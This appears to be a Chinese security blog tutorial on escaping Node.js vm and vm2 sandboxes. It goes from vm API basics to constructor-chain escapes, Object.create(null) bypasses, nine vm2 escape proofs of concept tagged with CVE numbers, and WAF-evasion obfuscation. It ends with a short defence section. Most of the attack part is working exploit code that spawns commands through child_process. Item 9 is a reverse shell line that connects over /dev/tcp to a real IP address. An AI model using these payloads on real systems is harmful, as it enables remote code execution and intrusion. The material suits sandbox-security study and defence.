前言 JavaScript 的沙箱(Sandbox)技术一直是服务端安全的关键议题。在 Node.js 生态中,常见的沙箱方案包括原生 vm 模块、vm2 库,以及更现代的 isolated-vm。
Node.js 官方文档明确警告:**”The vm module is not a security mechanism. Do not use it to run untrusted code.”**——vm 模块不是安全机制,不要用它运行不受信任的代码。
vm 和 vm2 的关键区别在于:
vm 模块 :Node.js 内置,在同一 V8 隔离区(Isolate)内创建上下文,通过作用域隔离实现沙箱。由于共享同一个 V8 Isolate,攻击者一旦拿到全局 Function 构造函数即可逃逸。
vm2 :第三方库,在 vm 之上增加了多层安全校验(白名单、代理拦截、属性访问控制等),试图通过”层层加锁”的方式堵住逃逸路径。但历史证明,大多数版本仍存在可被绕过的漏洞。
本文将从 vm 模块基础讲起,逐步递进到 Object.create(null) 绕过技巧,最终汇总 vm2 的 9 个 CVE 级逃逸 POC。
vm 模块基础 vm 模块提供 5 个核心 API,每个都有不同的安全边界。
1. vm.createContext([sandbox]) 先准备一个沙箱对象,再传给该方法。V8 为这个沙箱对象在当前 global 外再创建一个作用域,沙箱内部无法直接访问 global 中的属性。
1 2 3 const vm = require ('vm' );const sandbox = { x : 2 };vm.createContext (sandbox);
2. vm.runInThisContext(code) 在当前 global 下创建一个作用域并执行代码。可以访问 global 上的全局变量,但访问不到调用处的局部变量。 因此极其危险——可以直接拿到 global.process 实现 RCE。
1 2 3 4 5 6 7 8 9 10 11 const vm = require ('vm' );global .globalVar = "我是全局变量" ;let localVar = "我是局部变量" ;const code = ` console.log(globalVar); // 成功:输出 "我是全局变量" console.log(localVar); // 报错:ReferenceError: localVar is not defined ` ;vm.runInThisContext (code);
直接 RCE 示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 const vm = require ('vm' );const sx = { 'name' : 'chiling' , 'age' : 18 }; const context = vm.createContext (sx);const result = vm.runInThisContext ( `process.mainModule.require('child_process').exec('calc')` , context ); console .log (result);
3. vm.runInContext(code, contextifiedSandbox[, options]) 参数为要执行的代码和已上下文化的沙箱对象。代码在沙箱的上下文中执行,访问不到全局对象,相对安全。
1 2 3 4 5 6 7 8 const vm = require ('vm' );let mySandbox = { x : 2 };vm.createContext (mySandbox); vm.runInContext ('x = x + 40' , mySandbox); console .log (mySandbox.x );
4. vm.runInNewContext(code[, sandbox][, options]) 创建一个全新的上下文并执行代码。同样访问不到外部全局变量,属于相对安全的方式。
1 2 3 4 5 6 7 8 9 10 11 const vm = require ('vm' );const sandbox = { animal : '猫' , count : 2 }; vm.runInNewContext ('count += 1; name = "小花"' , sandbox); console .log (sandbox);
如果直接尝试获取 process,会失败:
1 2 3 4 5 const vm = require ('vm' );const result = vm.runInNewContext ( `process.mainModule.require('child_process').exec('calc')` ); console .log (result);
但是——如果攻击者能拿到宿主环境的 Function 构造函数,就能逃逸。
5. vm.Script(code, options) 创建一个 vm.Script 对象,只编译代码但不执行。编译后的 Script 可以被多次执行。code 不绑定于任何全局对象,仅绑定于每次执行它的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 const util = require ('util' );const vm = require ('vm' );const sandbox = { animal : 'cat' , count : 2 }; const script = new vm.Script ('count += 1; name = "kitty";' );const context = vm.createContext (sandbox);script.runInContext (context); console .log (util.inspect (sandbox));
基础逃逸链 核心 Payload 1 this .constructor .constructor ("return process" )( )
原理解析:
this 指向沙箱对象。
this.constructor 拿到沙箱对象的构造函数(函数对象)。
this.constructor.constructor ——任何函数对象的构造函数都是 V8 引擎顶层的 Function 构造函数(在一个 JS 文件中,每个自定义 Function 都是顶层 Function 构造函数的实例)。
Function("return process")() 相当于在宿主环境动态创建一个新函数并执行,通过闭包拿到宿主环境中的 process 全局对象。
拿到 process 后 → process.mainModule.require('child_process').exec() → RCE。
三种入口变体 变体 1:通过 this
1 2 3 const vm = require ('vm' );const result = vm.runInNewContext (`this.constructor.constructor("return process")()` );result.mainModule .require ('child_process' ).exec ('calc' );
变体 2:通过传入对象的 constructor
1 2 3 4 5 6 7 const vm = require ('vm' );const context = vm.createContext ({ aaaaa : [] });const result = vm.runInNewContext ( `aaaaa.constructor.constructor("return process")()` , context ); result.mainModule .require ('child_process' ).exec ('calc' );
aaaaa 是传入沙箱的数组(Array 实例)。
aaaaa.constructor → Array 构造函数。
aaaaa.constructor.constructor → Function 构造函数。
变体 3:通过字符串字面量的 constructor
1 2 3 4 5 const vm = require ('vm' );const result = vm.runInNewContext ( `''.constructor.constructor("return process")()` ); result.mainModule .require ('child_process' ).exec ('calc' );
变体 4:通过 toString 的 constructor
1 2 3 const vm = require ('vm' );const y1 = vm.runInNewContext (`this.toString.constructor("return process")();` );console .log (y1.mainModule .require ('child_process' ).exec ('calc' ));
this.toString 继承自 Object.prototype.toString,始终是一个函数对象。
this.toString.constructor → 百分之百是顶层的 Function 构造函数。
Object.create(null) 绕过(进阶) 为什么 Object.create(null) 能阻断基础逃逸链 之前的 Payload 相当于 runInNewContext 第二个参数传入 {}(等同于 new Object()),它继承 Object.prototype 上的所有属性,包括 constructor。
但 Object.create(null) 创建的对象没有原型 ——不继承任何东西,没有 toString、hasOwnProperty,当然也没有 constructor。
1 2 3 4 5 6 7 const vm = require ('vm' );const context = Object .create (null );const result = vm.runInNewContext ( `this.constructor.constructor("return process")()` , context );
绕过技巧 1:arguments.callee.caller 这条链利用了 JavaScript 函数内部的 arguments 对象,从沙箱内部沿着调用栈向上追溯,最终摸到宿主环境的 Function 构造函数。
背景知识:
arguments:每个函数内置的类数组对象,收集所有传入的参数。
arguments.callee:指向当前正在执行的函数自身。
arguments.callee.caller:指向调用当前函数的外层函数(如果是顶层调用则为 null)。
1 2 3 4 function test ( ) { console .log (arguments .callee ); } test ();
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 const vm = require ('vm' );const res = vm.runInContext (` function test() { const a = {}; a.toString = function () { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('calc').toString(); }; return a; } test(); ` , vm.createContext (Object .create (null )));console .log ("" + res);
执行流程:
test() 在沙箱内执行,创建对象 a,给 a.toString 赋值,然后将 a 返回。此时 a.toString 内部的代码尚未执行 。
宿主环境拿到返回值 res,执行 "" + res(字符串拼接)。
为了完成字符串拼接,宿主环境调用 res.toString(),此时 a.toString 才真正运行。
arguments.callee 指向 a.toString 自身;arguments.callee.caller 指向宿主环境中执行字符串拼接的内部函数。
通过 caller.constructor.constructor 拿到宿主 Function 构造函数 → 逃逸。
绕过技巧 2:Proxy set 陷阱 利用 Proxy 拦截属性赋值操作。当宿主环境向 Proxy 对象写入值时,set 陷阱被触发,此时传入的 value 参数是宿主环境创建的对象,其原型链完整、带有宿主 constructor。
Proxy 基础:
1 2 3 4 5 6 7 8 9 10 11 12 13 const user = { name : "张三" };const proxy = new Proxy (user, { get : function (target, prop ) { if (prop === 'name' ) { return target[prop] + " (已实名)" ; } return "未知属性" ; } }); console .log (proxy.name ); console .log (proxy.age );
set 陷阱示例:
1 2 3 4 5 6 7 8 9 10 11 12 const validator = { set : function (obj, prop, value ) { if (prop === 'age' && typeof value !== 'number' ) { throw new Error ('年龄必须是数字!' ); } obj[prop] = value; return true ; } }; const person = new Proxy ({}, validator);person.age = "20" ;
完整 POC:
1 2 3 4 5 6 7 8 9 10 const vm = require ('vm' );const code3 = `new Proxy({}, { set: function(me, key, value) { (value.constructor.constructor('return process'))() .mainModule.require('child_process').execSync('calc').toString(); } })` ;const data = vm.runInContext (code3, vm.createContext (Object .create (null )));data['some_key' ] = {};
原理:
data 拿到沙箱返回的 Proxy 对象。
data['some_key'] = {} 中,{} 是在宿主环境里定义的对象 ,它的原型链直接指向宿主环境的 Object.prototype。
Proxy 的 set 陷阱被触发,value 指向宿主环境的 {},value.constructor.constructor 拿到宿主 Function 构造函数 → 逃逸。
vm2 沙箱逃逸 POC 集 vm2 虽然对 vm 模块增加了多层防护,但历史上仍被发现大量逃逸漏洞。以下是按时间线整理的典型 POC。
1. CVE-2019-10761(vm2 <= 3.6.10) 通过 Buffer.prototype.write 触发异常,在异常处理链中获取宿主 Function 构造函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 "use strict" ;const { VM } = require ('vm2' );const untrusted = ` const f = Buffer.prototype.write; const ft = { length: 10, utf8Write() {} }; function r(i) { var x = 0; try { x = r(i); } catch (e) {} if (typeof(x) !== 'number') return x; if (x !== i) return x + 1; try { f.call(ft); } catch (e) { return e; } return null; } var i = 1; while (1) { try { i = r(i).constructor.constructor("return process")(); break; } catch (x) { i++; } } i.mainModule.require("child_process").execSync("whoami").toString() ` ;try { console .log (new VM ().run (untrusted)); } catch (x) { console .log (x); }
2. vm2 <= 3.8.2:Symbol.toStringTag 异常 通过覆写 Symbol.toStringTag 的 getter 抛出函数,该函数接收的回调参数来自宿主环境。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 "use strict" ;const { VM } = require ('vm2' );const untrusted = '(' + function ( ) { Symbol = { get toStringTag () { throw f => f.constructor ("return process" )( ); } }; try { Buffer .from (new Map ()); } catch (f) { Symbol = {}; return f (() => {}).mainModule .require ("child_process" ).execSync ("whoami" ).toString (); } } + ')()' ; try { console .log (new VM ().run (untrusted)); } catch (x) { console .log (x); }
3. vm2 <= 3.8.3:TypeError.prototype 注入 在 TypeError.prototype 上挂载恶意方法,触发类型错误时利用异常对象链式获取 process。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 "use strict" ;const { VM } = require ('vm2' );const untrusted = '(' + function ( ) { TypeError .prototype .get_process = f => f.constructor ("return process" )( ); try { Object .preventExtensions (Buffer .from ("" )).a = 1 ; } catch (e) { return e.get_process (() => {}).mainModule .require ("child_process" ).execSync ("whoami" ).toString (); } } + ')()' ; try { console .log (new VM ().run (untrusted)); } catch (x) { console .log (x); }
4. CVE-2021-23449:Dynamic Import + Promise 链 通过动态 import() 获取一个 Promise 对象,该对象的原型链指向宿主环境,从而拿到宿主 Function 构造函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const { VM } = require ('vm2' );const vm = new VM ();const code = ` (async () => { let res = import('./foo.js').catch(() => {}); const ForeignFunction = res.toString.constructor; const exec = ForeignFunction('return process.mainModule.require("child_process").execSync("whoami").toString()'); return exec(); })() ` ;vm.run (code).then (result => { console .log ("逃逸成功!当前执行用户为:" , result); }).catch (err => { console .error ("执行失败:" , err); });
5. CVE-2022-25893:WeakMap + Error.prepareStackTrace 通过覆写 WeakMap.prototype.set 和 Error.prepareStackTrace,利用栈追踪中的 getThis() 获取沙箱外对象,进而拿到 process。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const { VM } = require ('vm2' );new VM ().run (` const { set } = WeakMap.prototype; WeakMap.prototype.set = function(v) { return set.call(this, v, v); }; Error.prepareStackTrace = (_, c) => c.map(c => c.getThis()).find(a => a); const { stack } = new Error(); Error.prepareStackTrace = undefined; const proc = stack.process; const exec = proc.mainModule.require('child_process').exec; exec('calc.exe'); ` );console .log ('Finished' );
6. CVE-2023-30547:Proxy getPrototypeOf 栈溢出 利用 Proxy 的 getPrototypeOf 陷阱递归触发栈溢出,在 catch 的解构赋值中拿到 constructor 实现逃逸。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 const { VM } = require ("vm2" );const vm = new VM ();const code = ` err = {}; const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); } }; const proxiedErr = new Proxy(err, handler); try { throw proxiedErr; } catch ({ constructor: c }) { c.constructor('return process')().mainModule.require('child_process').execSync('whoami'); } ` ;console .log (vm.run (code));
7. CVE-2023-37903(vm2 <= 3.9.19):nodejs.util.inspect.custom + WebAssembly 利用 Symbol.for('nodejs.util.inspect.custom') 注入自定义 inspect 函数,喂给 WebAssembly.compileStreaming() 时触发,inspect 的参数来自宿主环境。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const { VM } = require ("vm2" );const vm = new VM ();const code = ` const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom'); obj = { [customInspectSymbol]: (depth, opt, inspect) => { inspect.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }, valueOf: undefined, constructor: undefined, }; WebAssembly.compileStreaming(obj).catch(() => {}); ` ;vm.run (code);
8. CVE-2026-22709:Error.name = Symbol() + 异步栈 将 Error.name 设置为 Symbol,在异步函数访问 error.stack 并进入 catch 分支后,利用 e.constructor 链获取宿主 Function。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 const { VM } = require ("vm2" );const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('calc.exe')" ); f(); }); ` ;new VM ().run (code);
9. CVE-2021-23449 单行变体(vm2 <= 3.9.5) 适合反弹 Shell 的一行 Payload:
1 2 let res = import ('./app.js' );res.toString .constructor ("return this" )( ).process .mainModule .require ("child_process" ).execSync ("bash -c 'sh -i >& /dev/tcp/120.46.179.184/8787 0>&1'" ).toString ();
绕过检测技巧 模板字符串嵌套 利用多层模板字符串嵌套拆分敏感关键词,绕过基于字符串匹配的 WAF/过滤器:
1 2 3 4 5 6 7 8 (function ( ) { TypeError [`${`${`prototyp` } e` } ` ][`${`${`get_proces` } s` } ` ] = f => f[`${`${`constructo` } r` } ` ](`${`${`return this.proces` } s` } ` )(); try { Object .preventExtensions (Buffer .from (`` )).a = 1 ; } catch (e) { return e[`${`${`get_proces` } s` } ` ](() => {}).mainModule [`${`${`requir` } e` } ` ](`${`${`child_proces` } s` } ` )[`${`${`exe` } cSync` } ` ](`cat /flag` ).toString (); } })();
Array.join 关键字混淆 prototype → ['p','r','o','t','o','t','y','p','e'].join('')
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (() => { TypeError [['p' , 'r' , 'o' , 't' , 'o' , 't' , 'y' , 'p' , 'e' ]['join' ]('' )]['a' ] = f => f[['c' , 'o' , 'n' , 's' , 't' , 'r' , 'u' , 'c' , 't' , 'o' , 'r' ]['join' ]('' )]( ['r' , 'e' , 't' , 'u' , 'r' , 'n' , ' ' , 'p' , 'r' , 'o' , 'c' , 'e' , 's' , 's' ]['join' ]('' ) )(); try { Object ['preventExtensions' ](Buffer ['from' ]('' ))['a' ] = 1 ; } catch (e) { return e['a' ](() => {})['mainModule' ][['r' , 'e' , 'q' , 'u' , 'i' , 'r' , 'e' ]['join' ]('' )]( ['c' , 'h' , 'i' , 'l' , 'd' , '_' , 'p' , 'r' , 'o' , 'c' , 'e' , 's' , 's' ]['join' ]('' ) )[['e' , 'x' , 'e' , 'c' , 'S' , 'y' , 'n' , 'c' ]['join' ]('' )]('cat /flag' )['toString' ](); } })();
防御
核心原则 :永远不要把 vm 模块当作安全边界。Node.js 官方文档已经明确声明它不是安全机制。
使用 isolated-vm :如果需要真正的沙箱隔离,使用 isolated-vm 库。它基于 V8 Isolate 实现进程级隔离,每个沙箱运行在独立的 V8 Isolate 中,不共享堆内存,从根本上切断逃逸路径。
vm2 已弃用 :vm2 项目已于 2023 年标记为 deprecated,不再维护。已有系统若无法立即迁移,至少确保升级到最新版本并严格控制沙箱内代码的可信度。
SES / Compartment :考虑使用 TC39 提案中的 SES(Secure EcmaScript)和 Compartment API,通过冻结原型链和限制全局对象访问来构建更安全的沙箱。
最小权限原则 :不要在沙箱中传入任何敏感的全局对象或函数。即使使用沙箱,也应对输入代码进行严格的语法和语义审查。
参考